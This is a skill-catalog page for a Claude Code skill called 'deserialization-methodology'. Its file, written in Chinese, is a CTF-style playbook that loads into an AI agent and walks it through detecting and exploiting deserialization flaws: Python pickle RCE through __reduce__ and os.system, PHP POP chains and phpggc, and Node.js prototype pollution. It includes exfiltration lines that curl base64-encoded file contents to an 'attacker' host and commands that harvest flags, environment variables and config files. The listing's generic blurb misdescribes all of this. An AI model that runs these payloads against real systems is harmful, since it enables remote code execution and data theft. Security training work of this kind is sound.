Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Deserialization Methodology

  • 18 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

deserialization-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • deserialization-methodology
  • AI & Agent Building
  • AI-coding skill

Deserialization Methodology by the numbers

  • 18 all-time installs (skills.sh)
  • Ranked #10,736 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill deserialization-methodology

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs18
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

反序列化漏洞方法论

深入参考

  • Pickle payload 模板库(回显/盲/文件上传/发送方式)→ references/pickle-payload-templates.md
  • RCE 成功但无回显?盲利用外带策略 → references/blind-exploitation.md
  • PHP 反序列化详解(POP Chain/Type Juggling/phpggc) → references/php-deserialization.md

Phase 1: 检测反序列化入口

常见位置:Cookie 值、POST Body、Hidden 表单字段(viewstate)、API 参数、文件上传

格式标识(Magic Bytes)

格式识别特征下一步
Python PickleBase64 解码后 \x80 开头或含 cos\n(魔术字节)→ Phase 2
PHPO:4:"User":2:{a:N:{ 格式→ Phase 3
JavaBase64 解码后 \xac\xed\x00\x05(Magic Bytes)或 Base64 rO0AB 开头→ 读 java-deserialization-methodology
Node.jsJSON 中含 __proto__constructor→ Phase 4

1. 提取所有 Cookie 和隐藏字段的值,尝试 Base64 解码 2. 检查 Content-Type 头:application/x-python-pickleapplication/x-java-serialized-object 3. 观察错误信息中是否包含 pickleunserializeObjectInputStream 等关键字 4. 上传 .pkl.ser 等序列化文件格式,观察服务端行为 5. 修改序列化数据中的字段值,观察响应变化确认服务端确实反序列化了输入

Phase 2: Python Pickle RCE

⚠️ 关键约束__reduce__ 只能返回 (模块级函数, 参数元组)self.method 会失败

1. 构造基础 RCE payload:使用 __reduce__ 方法调用 os.systemsubprocess.check_output 2. 回显 payload:subprocess.check_output(['cat', '/flag.txt']) — 直接在响应中看到结果 3. 无回显 payload:os.system('cp /flag.txt /app/static/f.txt') — 写文件到 Web 可访问路径 4. 外带 payload:os.system('curl http://attacker/?d=$(cat /flag|base64)') — HTTP 外传数据 5. 序列化并编码:base64.b64encode(pickle.dumps(payload)) 后替换原始数据发送 6. 注意 Python 版本差异:Python 2/3 的 pickle 协议版本不同,可能需要指定 protocol=2

常见触发点:Flask session、Redis session、Content-Type: application/x-python-pickle.pkl 文件上传

决策树:回显 payload → 无回显则写文件到 Web 路径 → 仍失败则读盲利用参考 → 完整模板 → 读 references/pickle-payload-templates.md

Phase 3: PHP 反序列化

1. 识别序列化字符串格式:O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} 2. Type Juggling 速查:b:1(boolean true)松散比较 == 可绕过任意密码验证 3. 修改属性值:直接修改序列化字符串中的字段(注意长度前缀 s:N: 要匹配) 4. POP Chain 构造:找到可控属性的类(如 __destruct 中调用 file_put_contents),通过链式属性控制实现任意文件写入或命令执行 5. phpggc 工具:phpggc <framework>/<gadget> <type> <arg> 自动生成常见框架的利用链 6. 常见框架 gadget:Laravel(RCE)、Symfony(文件写入)、WordPress(对象注入) → 完整 POP Chain/Type Juggling/phpggc 用法 → 读 references/php-deserialization.md

Phase 4: Node.js Prototype Pollution

1. 识别原型链污染入口:Object.assign_.merge、递归合并/深拷贝函数 2. 基础 payload:{"__proto__":{"isAdmin":true}}{"constructor":{"prototype":{"isAdmin":true}}} 3. 通过 HTTP 请求(JSON Body)发送 payload,检查后续请求中权限是否变化 4. 污染全局属性:影响所有后续创建的对象(如 Object.prototype.isAdmin = true) 5. RCE 场景:污染 child_process 相关属性(如 shellenv),在 spawn/exec 时触发 6. 检测方法:发送 {"__proto__":{"polluted":"yes"}},然后请求新端点看响应是否包含 polluted 字段

Phase 5: Flag 获取

1. 反序列化 RCE 成功后优先执行:cat /flag.txtcat /FLAG.txt 2. 列目录搜索:ls /find / -name "*flag*" 2>/dev/null 3. 环境变量:env | grep -i flag 4. 无回显时写到 Web 路径:cp /flag* /app/static/flag.txt 然后 HTTP 访问 5. DNS/HTTP 外带:curl http://attacker/$(cat /flag|base64) 6. 检查数据库:cat /app/config* 获取连接信息后查询 flag 表

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.